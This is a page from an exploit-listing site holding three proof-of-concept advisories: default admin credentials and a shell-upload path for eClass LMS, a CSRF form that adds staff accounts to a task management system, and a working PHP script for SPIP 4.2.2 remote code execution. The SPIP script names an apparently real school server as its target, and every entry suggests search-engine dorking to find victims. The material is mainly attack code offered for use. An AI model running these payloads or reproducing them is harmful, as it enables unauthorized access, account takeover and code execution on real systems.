Latest exploits :: CodePwn

<pre><code>==================================================================================================================================== | # Title : eClass LMS v6.2.0 Insecure Settings Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits) | | # Vendor : https://codecanyon.net/item/eclass-learning-management-system/25613271 | ==================================================================================================================================== poc : [+] Dorking İn Google Or Other Search Enggine. [+] Insecure Settings : appears to leave a default administrative account in place post installation. [+] use payload : user = admin@mediacity.co.in & pass = 123456 [+] https://www/127.0.0.1/swarkalasangamcom/public/testimonial <==== Shell upload Greetings to :================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R | ================================================================ </code></pre>

<pre><code>============================================================================================================================================= | # Title : Task Management System 1.0 CSRF add staff Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits) | | # Vendor : https://www.sourcecodester.com/php/14615/task-management-system-using-phpmysqli-source-code.html | ============================================================================================================================================= poc : [+] Dorking İn Google Or Other Search Enggine. [+] The following html code create a new staff . [+] Go to the line 27. [+] Set the target site link Save changes and apply . [+] save code as poc.html . <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>User Registration</title> </head> <body> <h2>User Registration</h2> <form id="userForm" enctype="multipart/form-data"> <label for="email">Email:</label> <input type="email" id="email" name="email" required> <label for="password">Password:</label> <input type="password" id="password" name="password" required> <input type="button" value="Save User" onclick="saveUser()"> </form> <script> function saveUser() { var form = document.getElementById('userForm'); var formData = new FormData(form); var xhr = new XMLHttpRequest(); xhr.open("POST", "http://127.0.0.1/courier/ajax.php?action=save_user", true); xhr.onload = function () { if (xhr.status === 200) { alert('User saved successfully'); } else { alert('An error occurred while saving the user'); } }; xhr.send(formData); } </script> </body> </html> Greetings to :============================================================ jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr | ========================================================================== </code></pre>

<pre><code>============================================================================================================================================= | # Title : SPIP 4.2.2 PHP Code execution Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 129.0.1 (64 bits) | | # Vendor : https://www.spip.net/ | ============================================================================================================================================= poc : [+] Dorking İn Google Or Other Search Enggine. [+] Line 49 : Set your target. [+] Save Payload as poc.php and run from cmd = C:\www\test>php poc.php [+] Payload : <?php class IndoushkaExploit { private $targetUrl; private $payload; public function __construct($targetUrl, $payload) { $this->targetUrl = rtrim($targetUrl, '/') . '/spip.php'; $this->payload = $this->generatePayload($payload); } private function generatePayload($payload) { // توليد الحمولة مع تضمين الأمر المراد تنفيذه return "[<img" . rand(10000000, 99999999) . ">->URL`<?php {$payload} ?>`]"; } public function exploit() { // إعداد بيانات POST التي سيتم إرسالها إلى الهدف $data = http_build_query(['action' => 'porte_plume_previsu', 'data' => $this->payload]); // تهيئة طلب HTTP باستخدام دالة cURL $ch = curl_init($this->targetUrl); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); // إضافة رؤوس مخصصة لتجاوز المنع curl_setopt($ch, CURLOPT_HTTPHEADER, [ 'Content-Type: application/x-www-form-urlencoded', 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3' ]); // تنفيذ الطلب $response = curl_exec($ch); // تحقق من وجود أخطاء في cURL if (curl_errno($ch)) { echo "cURL Error: " . curl_error($ch) . "\n"; } else { echo "Exploit Sent! Response:\n"; echo $response; } curl_close($ch); } } // مثال على الاستخدام $targetUrl = 'https://eps.enseigne.ac-lyon.fr/spip/'; // استبدل هذا بالعنوان الحقيقي $payload = 'system("pwd");'; // أوامر PHP التي تريد تنفيذها $exploit = new IndoushkaExploit($targetUrl, $payload); $exploit->exploit(); Greetings to :============================================================ jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr | ========================================================================== </code></pre>